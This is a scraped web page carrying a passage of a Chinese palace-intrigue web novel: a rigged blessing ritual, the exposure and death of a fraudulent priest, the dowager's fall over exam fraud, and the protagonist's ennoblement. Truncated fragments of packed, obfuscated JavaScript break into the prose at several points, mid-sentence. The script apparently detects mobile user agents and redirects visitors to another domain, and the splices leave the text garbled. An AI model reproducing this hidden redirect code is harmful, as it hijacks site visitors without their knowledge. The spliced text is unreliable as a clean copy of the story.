l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248496|181833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的破解之法,将成为晋王。 一切都会变得名正言顺。 即便是之前一直沉得住气的太后,此刻也忍不住自眼底冒出兴奋的光彩,饱含野心与期待的苍老眼眸死死盯着法坛之上。 只见那巨鼎之内的青烟越冒越多,越来越黑,逐渐飘散至高空。 雷霆巨响在天际回荡,与此同时,八卦阵的东方也冒出了同样的黑烟。 众人这才知晓,原来那高高的法坛之上,原本就在四面八方摆放的神兽雕像并非普通摆设,而是这卜算法术的一部分。 此刻,黑烟从东方的兽头中吐出,竟如同黑墨一般经久不散。 “东方有妖邪!” 下一秒,玄放话还没说完,却见其他方位的兽头也突然有了动静。 随着轰隆的声音响起,八只神兽透露齐齐冒出大股大股黑烟,一时间竟将整个法坛都包围了。 玄放的脸上出现一瞬的惊慌与疑惑,他下意识朝着太后看了一眼,又匆忙进行下一步。 “三问!” 他咽了咽口水,心中狂跳,明显已经感觉到不对劲了,却还是只能硬着头皮继续下去。 “破解吉兆何处寻!” 话音刚落,一阵阵仿若祥瑞之兆的紫烟冒出。 然而,还没等到玄放再说些什么,他身旁的巨大神像就忽然晃动起来。 中空的神像之中,竟突然传来一个清脆响亮的声音。 “大胆妖道!!竟敢假冒本君,妖言惑众!还不速速受死!” “……!!” 那玄放立刻被吓了一跳,条件反射地躲开几步,险些直接摔下高台。 台下跪得发昏的臣子们也被吓到,有沉不住气的已经不禁惊叹出声。 “神像说话了!?!” “哪儿来的声音?!” “天神显灵,天神显灵了!!” “神仙声音这么年轻?” 【哈哈哈哈哈哈哈!!!】 【吓死你个憨货!!】 ‘显灵的神像’再次开口,却不是说话,而是朝着那玄放‘吐’出了数枚冷箭,将吓破胆的妖道描了个边。 玄放双腿发软地坐倒在地,看到冷箭才反应过来,这哪里是什么神仙显灵,分明是有人在装神弄鬼! 他碰上同行了! “神像里有人!!快来人!来人啊!” 玄放一边躲冷箭,一边慌不择路地躲在那巨大的鼎后,“扰乱法事会引起上苍震怒降下责罚的!他会毁了国运!会害了所有人!” “你不是说哪里有黑烟,哪里就有妖邪吗?!我看你就是最大的妖邪!” 下一秒,法坛之上的八大神兽透露齐齐调转方向,面朝中间的玄放,吐出一大股黑烟将他整个淹没。 “一吹就黑了,妖邪!!” 等烟雾散去,玄放的脸、衣服都变得黑漆漆脏兮兮的,那几个兽头也跟着调转方向,下一刻竟然直指晋王与太后,再次喷出黑烟。 一道脆响声炸开,臣子之中也有蒲团爆开,冒出更多的黑烟。 一时之间,法事现场乱成一片,几乎人人都被那指向‘妖邪’的黑烟扑了全身。 【哈哈哈哈哈哈哈哈!!!】 唯有殷少觉一人能听到的狂妄笑声传入耳中,昭示着大闹法事的罪魁祸首。 太后震怒,“来人啊!还不快来人把他抓出来?!!快!!” 黑雾遍布,让许多人呛咳不止,也遮掩了大部分人的视线,几乎伸手不见五指。 侍卫上前要捉拿躲藏在神像之中的人,却不知为何被黑雾中藏着的人打得鼻青脸肿,纷纷晕倒在地。 半晌,黑雾才终于散去。 又是一阵阵紫色的青烟冒出,青烟之中,一个身着红衣白衬的少年嚣张地脚踩青鼎,身披紫烟,手里抓着一柄长剑出现, “紫烟所在之处就是吉兆是吧?” 乔肆剑指玄放, “看清楚了!” “你这装神弄鬼的家伙,你在找的祥瑞就是小爷我!!” “本祥瑞现在就要替天行道!斩了你这祸国殃民的大妖邪祭天!!” 13.第十三章 “大胆!!来人啊还不把他给我拿下!!!” 随着祈福的仪式乱成一团,烟雾尽皆散去,反应过来的太后与晋王立刻变得怒不可遏。 然而侍卫刚要上前,却又被另一道更冷厉的声音喝止。 “我看谁敢。” 殷少觉站起身来,他的声音不大,却足够清晰,目光所及之处,无人不自觉噤声收敛。 皇帝亲卫上前,将法坛及在场所有人团团围住,无人得出,也无人可入。 “为国祈福乃是大事,任何人胆敢扰乱法事,一律视为叛国,无论官阶,当场斩杀。” 太后用力一拍木椅扶手,也站起身来与皇帝分庭抗礼, “皇帝金口玉言不可儿戏!若是扰乱法事的要处斩,那台上正在大闹之人又当如何?!” “朕没有看到何人大闹,” 殷少觉的目光重新回到法坛之上,隔着淡淡的烟雾与飘动的灵幡与乔肆遥遥相对,嘴角勾起的笑意转瞬即逝, “玄放法师法力高强,神通广大,不但成功卜算出天命之数,还为朕寻得破解之法……祈福法事尚未完成,照常继续便是。” “皇兄怎可如此戏言?!” 晋王忍不住质问出声,他断了一条腿自始至终原本都坐在木质轮椅上,此刻气得哪怕撑着椅子也硬要站起身来, “有大胆逆贼当场要戕害法师!陛下也不管吗?!那法事都被扰乱至此——” “戕害法师?” 殷少觉微微侧过脸,却依然没正眼看他那皇弟,只装作疑惑地问道, “难道说法师其实并非神通广大的修行之人,也并非通晓仙法的方外之人,连一个长剑都举不动的凡人都打不过?” “什么?!当然不是,明明是那、那——那妖邪太过厉害!太过嚣张狂妄!” 晋王连忙改口,不敢承认自己和太后请来的法师只是个唬人的花架子,泼脏水骂道, “是那乔肆中了邪!!竟敢犯下如此大错,陛下应该派侍卫协助法师一同击杀妖邪以儆效尤!!” 太后听到他们谈话,连忙阻止晋王,“晋王住口!怎敢在皇帝面前出言不逊,还不快下跪认罪!” 她还想阻止,然而已经来不及了。 “原来如此,依照晋王的意思,那法师在求天问卦之后,成功引出了宫中的妖邪所在,还令其附身在乔肆身上……” “正是如此!” 晋王不觉得自己说得有什么问题,还不服地转头看了一眼太后,“难道要看着法事被彻底破坏吗?!” “晋王此言差矣。” 殷少觉竟是无声轻笑,缓缓摇了摇头, “既然玄放大师正在台上斗法,那便说明法事并未发生意外,这正是大师为国运效力的关键时候,若有人胆敢打扰阻拦,才是破坏祈福的罪人。” 他转头,目光犹如千钧缓缓落在晋王头顶,将其看得双腿再次脱力,当啷一下跌坐回轮椅之中, “皇弟,大师曾言道,邪不压正,今日究竟谁是妖邪附体,谁是真正能为国开运的祥瑞,一看便知了。” 玄放法师已经被那长剑指着,看到太后晋王都不保自己,昔日对自己极为推崇信赖的皇帝也不救场,顿时感觉大势已去,整个人眼前发黑。 但是……法事继续。 为什么要继续?!从何继续?! 难道在场的人都看不出就是这少年在捣乱闹事吗?!难道没人发现那根本不是上苍的指引—— 指鹿为马的荒谬感让玄放失去了理智,只拼命躲开那剑锋,大声呼喊, “妖邪!他才是妖邪!他不是祥瑞,你们快看啊!” 乔肆才不管他如何叫喊,听皇帝不治罪自己,也无暇顾及,只是挑了挑眉,便先提着长剑追玄放而去, “还敢说我是妖邪!?我看你才是妖邪!欺瞒君上妖言惑众!!看剑!!” “哇啊啊啊!” 然而乔肆气势汹汹,剑法却不怎么好,长剑锋利是锋利,是他从陆晚那里借来的,明明在陆晚手中时轻盈如柳叶断风,到了他手中却有如千钧重,他提着根本跑不动。 他本想当场斩杀玄放的,省得他继续出去坑蒙拐骗。 但力气有限,他只能在地上拖拽着长剑,剑尖锋利无比,与铺了一层石头的地面摩擦出飞溅的火花,时不时被他双臂握紧抡圆了砍向玄放。 一边追着砍,他还一边在嘴里念念有词, “玄放法师怎么如此惊慌?这宝剑只斩妖邪!不斩半仙!你若问心无愧,便来让我砍上一刀!若是刀落不见血便能证明你已得道成仙啊!大师!” “大师,你别跑啊!” “你那通天的本领呢?你那呼风唤雨的法术呢?玄放法师,你该不会是用不出来了吧!!” “我知道了,妖孽!快从玄放大师身上下来!!如此大胆,竟敢在大师身上作祟!看本祥瑞不替天行道,当场诛杀你祭天!!” 这场面实在太过惊悚,众百官低头不敢看,又忍不住眯着眼偷看,也许是陛下突然下旨让祈福法事照常进行,一旁的仙乐居然也继续奏响了,当当当的长剑碰撞石板、神像、祭坛的声音竟相映成趣,那高台也仿佛不再是什么法坛,而是个表演少年英雄斩神棍妖道的戏台子。 “没有妖孽!!我不是!!” 那妖道虽然善于坑蒙拐骗,还通些医道,却比乔肆更加不善武,面对一个将祭台上的猪头都砍成两半的锋利宝剑,他躲无可躲,为了活命只变得口不择言, “不要杀我!!我真的没有被妖邪附身!我本来就不会法术,我——” 然而,话还没说完,便听得一声暗向,那方才还在惊慌求生的玄放浑身猛地一颤,便睁大着双眼直挺挺倒在了地上,自口鼻七窍都流出黑血来。 见他终于住口,没有彻底坏了大事,晋王身旁始终没有任何存在感的王妃松了口气,垂头敛眸,将修长而有力的指尖收回袖口。 乔肆追了一半,正用长剑遥遥指着他摆架势,没想到人突然就死了,自己也突然愣住,“诶?” 他气喘吁吁地拖着长剑走到玄放还在抽搐流血的身体旁,疑惑低头看去,只在人眉心发现一个红点,他又抬头朝着四周张望而去,更是没见到任何可疑之人的影子。 谁出的手? “妖邪已除。” 乔肆正困惑不解时,皇帝却忽然发话,给这件事盖章定论了。 妖邪。 乔肆再度低头看去,只见那玄放双目圆睁,瞳孔扩大,整个人竟是死不瞑目,那身曾经受人敬仰、象征了至高身份的法袍也染上了漆黑难看的脏污,再也没了从前的风光模样。 他陡然间觉得有些无趣,方才提剑闹事的兴奋劲儿都没了。 竟然就这么死了。 只差一点点,他就能让这个法师亲口承认一切都是装神弄鬼,从一开始就没有什么妖邪都是他在装神弄鬼了。 就差那么一点儿。 反迷信第一人乔肆很是不爽,直接拿起长剑,当的一声刺入摆了各种祭品的祭台之上,居高临下直直看向台下的皇帝。 那双没有一丁点心虚畏惧的眼眸亮得惊人,也因为怒气仿佛要淬出火来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248497|181833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【混蛋暴君!老子还没屈打成招呢!谁让你灭口的?!】 殷少觉也仰头望着他,被如此放肆、如此不知尊卑的视线怒视着,他本该感到些许不虞,却在听到那心声的瞬间不禁轻笑了声。 许是面色太冷,乔肆一下将这一笑会错了意。 【还挑衅我!?!】 【怎么怎么,有本事你当场治我的罪啊!!】 殷少觉唇线放平,收了笑意。 罢了,不过是一点小误会,无伤大雅。 他冷了声线,开口吩咐, “来人,将法师的仙体收敛。” 皇帝终于开口,一直守在四周的侍卫也动了手,上前抬走了七窍流血的遗体。 殷少觉宣布祈福的法事结束时,乔肆还在惊疑不定地望着他。 一切的发展都和晋王、和乔家、甚至和皇帝筹谋的不一样。 但乔肆大闹了一场,这闹剧收场的方式,也和乔肆想得完全不一样。 他这样大胆作乱,就是不怕死才来的。 可惜,太后想治他的罪,晋王想治他的罪,就连跪在下方的乔尚书一党都气得吹胡子瞪眼,恨不得亲自冲上前来手撕了他——但偏偏皇帝就是迟迟不治罪! “玄放法师法力不济,为驱逐妖邪以身犯险,却糟了妖邪附身,横生变故,斗法失败意外身亡,本应当以侯爷的规格厚葬之,” 殷少觉宣布着,话语却忽然一转,继续说道, “可惜,尸身死不瞑目,阴邪之气不散,若保留全尸恐生变数。” 【啊?】 【是说防止他变僵尸吗?】 乔肆看他说得那样认真严肃,几乎怀疑皇帝是不是真的信了这一套。 殷少觉一边口述,一旁的太监一边同步写下圣旨,只等他签字盖章。 “为镇压邪祟、也为保留玄放法师的全尸,命人将法师的仙体于阳气最充足、人气也最旺盛之地暴晒,直至邪气散尽,好警告天下妖邪,不敢来犯。” 一道旨意颁布,紧接着便是另一道。 “今日法师险些斗法失败,幸有乔肆得天地感召,借祥瑞之体出现与妖邪斗法,成功完成法事。” 殷少觉继续说着,目光似笑非笑落在了乔肆身上,看得人头皮发麻, “乔肆斩杀妖邪、护国有功,封承瑞侯,赐京南封地,赏金银千两,锦缎百匹。” 封侯?! 圣旨一出,全场都因皇帝的决定而静默了整整三息的时间。 有人恍然大悟,有人惊掉了下巴,也有人望着皇帝的身影若有所思。 在这之前,谁也摸不清今日的闹剧因何而起,不理解皇帝究竟在做什么,此刻仿佛所有人都得到了答案。 那答案在强行指鹿为马的圣旨之中,也在乔肆那精致漂亮、过分张扬的眉眼之中。 完全没注意到所有人都在重新打量自己的乔肆:“……” 季公公在一旁催促,“乔大人,还不快谢恩?” 【我……谢你个大头鬼啊!!!】 乔肆瞪大了双眼,终于反应过来,后知后觉自己又被皇帝给绕晕了。 【哪有这么甩锅给我的啊!】 【你这封侯封得这么草率就不怕被天下骂昏君吗?!?!】 本来以为会被针对,会被罚,成为罪臣,没想到殷少觉莫名其妙忽悠了一番就把他变成了大功臣,乔肆只觉得一阵气血上涌。 殷少觉却浑然不觉他起伏的心虚,露出一个恰到好处微笑,带着赞赏的目光落在他身上, “乔肆,你可有异议?” 14.第十四章 “臣……!” 乔肆一口气哽在喉咙。 他当然有异议!他异议可大了去了!! 但是…… 乔肆的视线略过皇帝的肩膀,看到了跪在他身后一排排的官员,瞧见了他们脸上一闪而过神色各异的表情。 很显然,在场的所有人都平等地被他惹恼了,晋王太后一党已经手都在抖,乔尚书在下面只是暂时不想冒头,但已经浑身杀气,其他臣子更是无论立场都觉得皇帝实在昏庸,为了偏袒他这个奸臣指鹿为马,唯有皇帝—— 唯有皇帝不慌不忙,仿佛一切都在其意料之中,正合他意。 这怎么可能?! 昨夜提前对法坛动手脚时,乔肆就已经从刘疏和陆晚口中问出了法事的流程,知道为何乔家要派人让他提前动法坛下的机关。 晋王想暗示皇帝刚愎自用、昏聩误国引起天怒,再用所谓的吉兆指向自己,好名正言顺成为世人期待的下一个明君。 乔家得知了一点消息,想让他从中作梗,将法坛原本会指向晋王的“吉兆”指向他们选定的傀儡世子。 而皇帝更是早有准备,不但要破坏所谓吉兆,还让刘疏将悖逆伦常天理、损害国运的罪名直接扣在太后头上。 所有人都在下棋。 于是乔肆干脆掀了棋盘,让所有人都下不成这盘棋。 什么鬼神之说,什么凶兆吉兆,为争权夺利而宣扬迷信,对天下对百姓有何用?! 他明明应当落入众矢之的!而不是像现在这样! 皇帝到底在想什么?! 【不行!】 【不能就这么算了!!】 【狗皇帝这样保下我,不就等于保了乔家?!】 【就非得迷信吗?!】 殷少觉的目光朝他投来,眼底多了几分晦暗不明的审视。 他现在的位置距离乔肆不近不远,刚好在一个差不多能听到心声,却隐隐有些嘈杂的位置。 如今,乔肆心绪起伏,呼吸急促,那心声便更清晰了三分。 【可恶!】 “臣并非什么——” 乔肆刚要抗旨,便有人先他一步看不下去了。 “皇帝且慢。” 殷少觉与乔肆几乎同时循声望去。 是太后。 她戴着颇重的头冠,华服在身,精心打扮后的面容遮掩老态,更显威严,说话时中气十足、不怒自威。 她站起身来,不赞同地直视着皇帝, “陛下乃一国之君,不可轻信一面之词。那乔肆行为颠三倒四、不成体统,怎可能会是国之祥瑞?!哀家认为玄放法师所言不虚,乔肆是应当除去的妖孽。” “……?!” 刚想说自己不是祥瑞的乔肆欲言又止,再次被哽住。 他瞪圆了眼睛看着太后。 【不是,你吵架归吵架,骂什么人呢?!】 【你才妖孽呢,你全家都是妖孽!祸国殃民死不足惜!】 皇帝朝着乔肆轻飘飘扫了一眼。 乔肆心中立刻改口。 【呃……皇帝不是亲生的不算!】 【他就是狗比暴君!比你们档次高多了!】 炮灰、反派和变态的区别他还是分得清的。 “太后如此紧张,想必是前几日宫内怪事太多,让太后受惊了。” 殷少觉一边说着,一边缓步登上高台,站在了乔肆的侧前方,挡住了来自太后与晋王的视线,沉声说道, “究竟是妖邪还是祥瑞,自然不能空口无凭,只是方才众爱卿已经亲眼所见,祥瑞紫气确实笼罩在乔肆身上,他又能亲手斩杀法师身上的妖邪,法师死后,天光大明,金光照顶。” 乔肆:“……” 不就是吹了一阵风把云彩吹开了,然后大晴天了吗?这话说得。 他本想直接否认祥瑞的身份,拒绝封赏,结果太后死咬着不放来这么一出,他若是还做出些出格的言行,就等于是承认了太后的那番话。 【虽然确实想造反……】 乔肆苦恼不已,进也不是,退也不是。 【但再抗旨,就让太后晋王称心如意了……好气!!】 一时之间,乔肆竟哑口无言,莫名有种被皇帝不小心绕进死胡同的感觉。 【等等啊,太后他们不应该针对皇帝的吗?怎么突然就开始针对我了??】 “臣弟有话要说。” 晋王此刻的脸色几乎泛着青黑,也不知道是气得还是烟熏的,反观皇帝和乔肆反而一身干干净净,不知道用了什么法子,浑身上下都没被那黑烟弄脏。 他上前一步,勉力在王妃的搀扶下再次从轮椅中起身, “今日的祈福法事,为的不止是祈福,更是为平息了却京中祸事!方才法师字字句句都在说,此次会闹出妖邪之事,是因有人在位不正,激起天怒人怨,才会引发邪气凝聚!” 他上前,姿态恭敬有礼,甚至没有抬头直视皇帝的面容,话语却毫不留情让步,一副非要追究到底的样子, “但法师已死!方才黑雾缭绕,却并未真正揪出是何人妨害了国运!这样的法事,不应视为圆满!国祸尚在,现在就论功行赏,未免太操之过急!” 【好好好,晋王你也有会说人话的时候啊!】 【胆子这么大,难道比我还不怕死?】 乔肆绞尽脑汁想作死,不如晋王灵机一动效果拔群,话音刚出,众皆哗然。 “老臣附议。” 百官中,兵部左侍郎也站了出来,那是个上了年纪、头发半百的老者。 在乔肆的记忆中,那也是晋王一党的支持者, “如若今日的妖邪是因人祸而生,那只是斩杀妖邪,恐怕治标不治本,臣恳请陛下再次开坛设法,揪出祸事的源头,方可平息天怒。” 法师已死,剩下的,便是活着的人论经辩道了,看谁说得更加有理。 有了晋王和兵部左侍郎起头,在殷少觉还未说话时,便又有第二个臣子出列附议,说辞也大同小异。 太后望着这一幕,心底也重新安定了几分。 众口悠悠。 没关系的,就算法师死了,就算他们的计划遭人破坏,只要皇帝还承认法师就可以。 皇帝今日不给个说法,就要继续被他们牵制! 看着眼前这一幕,皇帝却依然不慌不忙,甚至极有耐心地听完了每个臣子的谏言。 直到乔尚书终于也坐不住了,走上前来,恭敬道, “陛下,臣有一言。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261417|181833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“哦?” 殷少觉终于开口,“乔尚书有何高见?” “臣昨日夜观星象,发觉赤月贯空,乌云压城,月赤主谗言妖邪蒙蔽圣听,又见帝星晦暗,客犯紫薇,特意翻阅古籍,发现此不祥之兆直指文昌之位不正。” 乔尚书说得头头是道, “恰逢春闱在即,臣担心天下有才之士受此妖邪影响,特意命人前去调查,竟当真发现此次主考官私下偷会王公贵族,再一调查,那些与考官私下见面之人,与几位家世显赫的考生更是来往密切。” 殷少觉听着乔尚书的话语,脸色也一点点沉了下来,俨然是将此事听了进去, “春闱事关重大,乔尚书若无凭无证,可万万不能胡乱断言。” “臣有证!” 乔尚书就等这一刻,“臣要死劾太后懿驾干政,勾结主考官,暗中买卖试题、官爵!” “胡言乱语!!” 太后一听竟直接查到了自己头上,立刻拍案而起,怒发冲冠。 然而乔尚书胆敢今日站出来,便是有备而来,他挥挥手,钦天监副监正郑石峰出列,监察御史赵裴出列,纷纷献上相关调查、论证所需的书籍典故,相关账单、证据。 原来,那与主考官来往密切,暗中操控科举之人竟然姓孟。 孟姓,是太后的姓氏。 那人是太后的旁亲。 其中最至关紧要的证物,便是太后与那旁亲书的往来书信,虽然其中藏有许多密语、暗语,但其中含义已经破解,配合那旁亲买卖试题官位的账单,几乎可以盖章定论。 太后原本还想挣扎,却在看到账单和信物后变得面如死灰,明白大势已去。 一切都发生得太快了。 上一刻,还是太后带头对皇帝咄咄相逼,势要抓出一个人为损坏国运负责,下一秒,那个罪人就成了太后自己,他们忙活了大半月筹谋许久、精心挑选的种种怪相都成了老天预警的证明。 【咦?乔老登怎么会有这么齐全的证据证人?他什么时候这么厉害了?】 【不对……是谁把这些送给乔家的?】 乔肆陷入沉思。 科举舞弊买卖官爵之事,他早就知道,甚至刘疏会遇害,也和他不肯同流合污有一定的联系。 但知道归知道,却是头一次看到这事情被乔尚书捅出来。 【等等……刘疏呢?】 乔肆终于反应过来了什么,朝着四周张望。 【刘疏陆晚……他们不是完成陛下的密令了吗?为何没有来参与法会?该不会真的要跑路了吧??】 “……太后遭妖邪蒙蔽,言行不端……” 乔肆发呆时,皇帝已经趁着这个机会给太后定罪发落了。 “……即日起,太后便前往金鸣寺潜心礼佛、为国祈福,借寺中庄严正气镇压驱除太后身上的阴邪,直至国运昌盛。” 众人俯首,齐声道, “陛下圣明!” 殷少觉唇角含笑,回头看向乔肆, “乔爱卿,如此可愿意接下封赏了?” 乔肆撇了撇嘴,尽管事情发展已经如脱缰野马,却不得不承认太后能认罪离宫,还天下学子一个公平,确实大快人心。 他躬身行礼,“谢陛下恩典。” 15.第十五章 太后搬离皇宫,自此便算是被软禁在遥远的庙宇之中,权势溃散不说,今后还能活几日都是个未知数。 晋王大受打击,气愤不已,当夜便大病一场。 而这个仇,自然被他记在了乔家头上。 如果不是乔肆,不是乔家那群老狐狸,他怎么会功败垂成? 但很快,晋王就自顾不暇了。 随着科举舞弊之事被揭发,皇帝直接下令彻查此案的所有相关人员,依罪行分别流放、罢黜、抄家、斩首示众。 一番整顿之下,太后与晋王费心费力多年来安插在朝廷的人几乎空了七成,从上到下空出的职位也数不胜数,京城中每日问斩三五人,一连就斩了半个月。 刑场的鲜血已经几日未曾干涸。 两朝以来,还是头一次同时处斩这么多朝廷命官。 朝野之中不少人私下里颇有异议,认为皇帝太过残暴独断,不留情面,连买官后并未作恶的人也没从轻处罚,并将如今备受宠信的乔肆视为佞臣,不然他没有任何功名在身、凭什么能轻易封侯。 尤其是乔家的人,这些时日越发趾高气昂,更是坐实了乔肆并非忠良的偏见。 也就是民间要略有不同。 百姓看到贪官污吏被斩首,只拍手叫好还来不及,更别提抄家后的钱财除了充入国库,在民间广修学堂。 主考官已经斩首,刘疏便成了新任主考官。 在刘疏的建议下,春闱期间的考试场地也重新整修了一翻,家中困难的考生,可免费领取朝廷提供的三餐。 因为诸多官位空置,几日后的春闱直接广开贤路,沛施恩科,增阅卷考官15人,今科录取人数增加进士五十人,为社稷储才。 一时间,无数关于科举舞弊案的传闻在坊间传开,一扫之前的神鬼之说带来的阴霾。 为此,戏台子特意新出了三出戏,分别以皇帝、乔肆、刘疏为主要角色编了脍炙人口的戏曲,其中乔肆的那出戏最受欢迎。 说的是,祥瑞侯宝剑斩妖道,少年郎讽谏夺青天。 戏曲中的内容夸张了些,玄幻了些,却唯独在乔肆那无所顾忌的言行方面很是还原, 而刘疏则是因为众多考生谋福祉,因本人极其低调,戏曲中唱的不多,但其画像被诸多考生直接供了起来。 对此,乔肆感到很不可思议。 “为什么你的画像这么威武霸气?根本就不像你!为什么我的画像就这么细致画的这么花里胡哨?我什么时候在头上簪过花啊!” 同样是科举舞弊案的功臣,同样是被编了戏曲画了像的,乔肆莫名感觉他怎么好像在大家心目中的定位就那么不太一样呢? 刘疏已经回到了朝堂,因为要做主考官,这些日子更是要闭门谢客,好好避嫌一番,此刻也就能在陛下的默许下和乔肆多聊天解闷。 因为乔肆和陆晚的帮助,他这次得以全身而退,再加上晋王那边自顾不暇,他算是暂时安全了,此刻也多了几分打趣说笑的闲心。 “乔大人确实容貌过人,颇具天人之姿,受到百姓们的喜爱也是正常的,” 刘疏笑着与他认真解释起来, “大家也心中也都清楚,您当然是凡人,戏曲只是戏曲里的故事,只是想借个由头来追随您罢了。但是在下毕竟身份不同,不适合太抛头露面,被人误解了长相,反而能更具威严,免得有些考生还没开始考试呢,就先入为主觉得我脾气软、好说话了。” “怎么,我看起来很好说话,脾气很软吗?” 乔肆指着自己,更加惊讶道,“还有什么天人之姿,你这话自己听着不牙酸吗?不知道的还以为我是靠什么让皇帝封赏的呢。” 刘疏听了,脸上的笑意却是淡了三分。 皇帝为何如此大张旗鼓地封赏乔肆,其中真相和用意……恐怕只有乔肆本人不知道了。 说是捧杀也好,故意让乔肆在这个关头当靶子也罢,总归并非表面上看起来这么风光无限。 他只是成了主考官,就已经不得不谨慎防范,陆晚更是从始至终没有姓名,若是那些想要报复的人需要寻到个泄愤之人,乔肆恐怕会首当其冲。 就算是乔家……恐怕也不会帮上多少。 在乔肆得到大量封赏的同时,乔家几乎没在这次沾上多少光,反而引得了乔大乔二的嫉妒,身为兄长,见到乔肆再也无法颐指气使,甚至要对他行礼。 刘疏并不知道太多乔家内部的恩怨,只知道乔肆不喜欢他们,那二人偶然间看向乔肆的目光也有些不善。 乔肆是他的救命恩人,他实在不愿看对方吃亏,但眼下无凭无据还不是提醒的时机,他更加无从得知乔肆的立场如何,是否像他一样、是心甘情愿站在这个位子替陛下效力的, 思虑再三,刘疏只能恳切提醒道, “乔大人,此番闹得太大,许多人都在盯着您,万事小心。” 乔肆不以为然地摆摆手, “要是靠小心就能使得万里船,我就不会——” “不会什么?” 侯爷府崭新的院落中,一道人影忽然落在二人身旁,随手就拿走了刘疏手中的酒杯一饮而尽,然后旋身落座。 乔肆高兴喊他, “陆大侠!” “诶,别这么喊我。” 陆晚推辞,“刚得了消息,汪太医已经查出毒药中最关键几味药材的来源了,你们猜,是从哪儿来的?” 刘疏重新拿起新的杯子倒酒, “别卖关子了,猜不到。” “西域。” 刘疏皱起眉头,三人同时陷入沉默。 先皇在世时,萧大将军收复失地,后来就是西域求和,送来了一个和亲的公主。 如今,那公主已是晋王的王妃。 “西域的牛羊肉是真的好吃啊!” 乔肆率先打破了沉默,陷入遐想,“这么多人送值钱的东西,怎么就没人送个西域烤全羊?” 说着,乔肆就叹了口气。 他今天好不容易能出宫,就叫了刘疏躲在后院,就是因为他刚回来面对的就是堆满了正堂的礼品、拜帖。 活了这么几辈子,他还是头一次有自己独门独户的住处,不是住在什么乔家的别院,也不是在宫里头跟个冷宫的妃子一样被软禁。 加上他这个宠臣的身份一传开,各路人马都来试探拜会,屋子里除了礼物就是皇帝御赐的各种东西,整个侯爷府金碧辉煌、好不气派! 就连府邸内的花瓶、假山,都是价值连城的那种! 他不需要!!! 乔肆原本就不想要这些东西,正好皇帝给他安排了个管家,他就直接乐得清闲,把清点礼单、拜帖,收拾布置侯爷府的种种杂活儿全都交给管家一手操办了,结果几天后回来就差点被闪瞎了眼! 每一刻珍珠都在闪闪发光,每一个值钱物件都在昭示着他距离成功诛九族的目标有多远,每一个陌生或熟悉的拜帖都是令人牙酸倒胃口的虚伪社交…… 乔肆一度气得想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264673|181833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把这些东西全都扔了送人了捐出去! 结果管家听了,连连称赞他“视金钱如粪土”、“宅心仁厚”、“大公无私”,各种溢美之词都一起堆上来了,吓得乔肆连忙作罢,其他人送的礼物拜帖都不敢拒收了,生怕自己看起来太清高。 他还得努力维持他的大佞臣大反派人设呢!!他要老奸巨猾!要邪恶阴险!仗势欺人自私自利! 虽然现在已经距离诛九族很远了,但不能就此放弃啊! 也就是这个后院,还没来得及布置好,通着的后门也一直关着,还算清静一点。 再加上刘疏陆晚这几日和他也书信往来有无,不算陌生人。乔肆了解他们的为人,知道他们不会因为自己如今的境遇就区别对待,才能放心的趴在桌子上咸鱼一会儿。 “侯爷!” 正聊着,管家推门来到了后院,笑着来到乔肆身边,“见过两位大人。” “……不见客!” 乔肆已经条件反射了。 “不是客人,侯爷,是乔家派人来喊您回家聚聚呢,说是刚到了一批上好的美酒。” “……” 乔家? 乔肆终于从桌上直起身子, “啧,怕不是鸿门宴。” 陆晚见状问道, “会有危险?” 乔肆摇头,“这倒不至于,他们疯了才会做多余的事。” 上次在法事上大闹一场,乔尚书可是气得不行。 他没有按照约定帮乔家做事,也不把宫内的消息往外传,如今乔家人应该都知道他不像过去那么听话了。 “如果不想去就不去了。” 陆晚对这些事情看得很开,“刚才忘了说,陛下宣你入宫一同用晚膳。” 虽然距离晚膳还有很长一段时间,但这个完全可以作为不回乔家的借口。 “我才刚出宫不到半天!又喊我回去干什么??” 乔肆震惊地睁大了眼睛, “我连怎么回家还没记住呢!!” 陆晚和刘疏对视一眼——他一直这样吗? 刘疏看着他摇摇头——陛下都没说呢,咱们管不了。 他只好劝了一句,“不想入宫也好,反正解药已经有了,你干脆跟我习武练剑,改日直接拜师,随我一同逃离京城,远离这些尔虞我诈的朝堂之事。” “算了我还是回乔家然后进宫吧。” 乔肆起身就走。 乔家是早晚要面对要搞的,皇帝是早晚要去当面作死继续闹的。 至于江湖?他那天只是短暂地借了一下陆晚的宝剑,玩儿了闹了那么一下,胳膊到现在都在发酸,手掌心也磨破了一点皮,疼死了。 “对了。” 临走时乔肆才想起来问他, 